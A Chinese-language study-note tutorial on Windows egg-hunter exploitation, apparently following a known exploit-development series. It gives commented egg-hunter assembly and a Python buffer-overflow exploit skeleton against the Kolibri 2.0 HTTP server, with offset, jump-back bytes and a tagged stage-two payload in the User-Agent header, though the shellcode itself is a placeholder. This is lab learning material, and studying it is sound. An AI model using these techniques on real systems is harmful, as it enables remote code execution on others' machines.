# Windows Exploit Development - Egg Hunters fuzzy security 學習第四部分,主要是介紹另外一種攻擊技巧-- egg hunter ## Egg hunter ### Concept egg hunter 簡單講就是一段用來找 shellcode 的 shellcode ,出現的原因是在 windows 下寫 shellcode 要複雜於 linux ,動輒數百個字元,有些時候無法一次性把 shellcode 跟其他 payload 擺在一起,所以另外找個地方放 shellcode 前面的範例多半是 shellcode 放在 esp 指到的的空間,簡單的 jmp esp 或 pop pop ret 就能找到 shellcode ,若 shellcode 放在其他地方或根本不同 page 就沒轍。 egg hunter 以一個 page 為大小的單位逐一對每個 page 進行一個 byte 一個 byte 的搜尋,找到 shellcode 就立刻 jmp 過去 **條件**: 1. eip 後的內容也出現在其他記憶體位置 2. shellcode 存在於不同 page ,同個 page 用 jmp 即可 ### Generate Egg hunter * 自己自幹 * mona 幫你: `!mona egg -t b33f` 以下簡單講一個 egg hunter ```asm= loop_inc_page: or dx, 0x0fff // Add PAGE_SIZE-1 to edx loop_inc_one: inc edx // Increment our pointer by one ``` 這邊將 edx 以 0x1000 byte 來成長 ```asm=+ loop_check: push edx // Save edx push 0x2 // Push NtAccessCheckAndAuditAlarm pop eax // Pop into eax int 0x2e // Perform the syscall cmp al, 0x05 // Did we get 0xc0000005 (ACCESS_VIOLATION) ? pop edx // Restore edx loop_check_8_valid: je loop_inc_page // Yes, invalid ptr, go to the next page ``` 呼叫 NtAccessCheckAndAuditAlarm 來確認 edx 的地址是否為合法地址,不是則再加 0x1000 ```asm=+ is_egg: mov eax, 0x66333362 // Throw our egg in eax mov edi, edx // Set edi to the pointer we validated scasd // Compare the dword in edi to eax jnz loop_inc_one // No match? Increment the pointer by one ``` 以一次增加一個 byte 來比對是否為 b33f ```asm=+ scasd // Compare the dword in edi to eax again (which is now edx + 4) jnz loop_inc_one // No match? Increment the pointer by one ``` 比對成功一次,再比對一次,增加可信度 ```asm=+ matched: jmp edi // Found the egg. Jump 8 bytes past it into our code. ``` 確認無誤,透過 edi 跳往 shellcode 可以說 egg hunter 是種無腦硬爆法 ## 環境 跟上一篇一樣,目標換成 Kolibri 2.0 ## 流程 整體 payload 結構會長的象: ![](https://i.imgur.com/wmMTdPV.png) 1. 打開 server 並用 immunity attach 2. 撰寫 cyclic 送出 http request: ```python cyclic = '......' # lazy to copy here request = ( 'HEAD /' + cyclic + ' HTTP/1.1\r\n' 'Host: 192.168.1.115:6666\r\n' 'User-Agent: .......\r\n' 'Keep-Alive: 115\r\n' 'Connection: keep-alive\r\n\r\n' ) ``` 3. immunity 中透過 `!mona findmsp` 找到 offset: 515 4. 找到能跳轉到 stack 上 shellcode 的 gadget: `!mona jmp -r esp` 5. 沒意外會跳到 eip 之後一點,但主要控制區域在前面,所以第一段 shellcode 要跳回前面的 egg hunter ,可以用 jmp -0x60: ```asm jmp 0xffffffc4 ;/xeb/xc4 ``` 6. 在原先的 request 中的 User-Agent 中放入真正的 shellcode: ```python padding = 'A'*478 egg_hunter = '....' # too lazy to write whole egg hunter jmp_egg = '\xeb\xc4' stage2 = 'b33fb33f' # tag, egg hunter find shellcode by compare with these 8 bytes stage2 += '[shellcode]' # too lazy to write shellcode payload = padding + egg_hunter + 'A'*5 + jmp_egg request = ( 'HEAD /' + payload + ' HTTP/1.1\r\n' 'Host: 192.168.1.115:6666\r\n' 'User-Agent: ' + stage2 + '\r\n' 'Keep-Alive: 115\r\n' 'Connection: keep-alive\r\n\r\n' ) ``` 7. That is ! 執行 egg hunter 時會掃遍每個 page 每個 byte 直到發現兩次 b33f ,之後透過 jmp edi 跳到 shellcode 上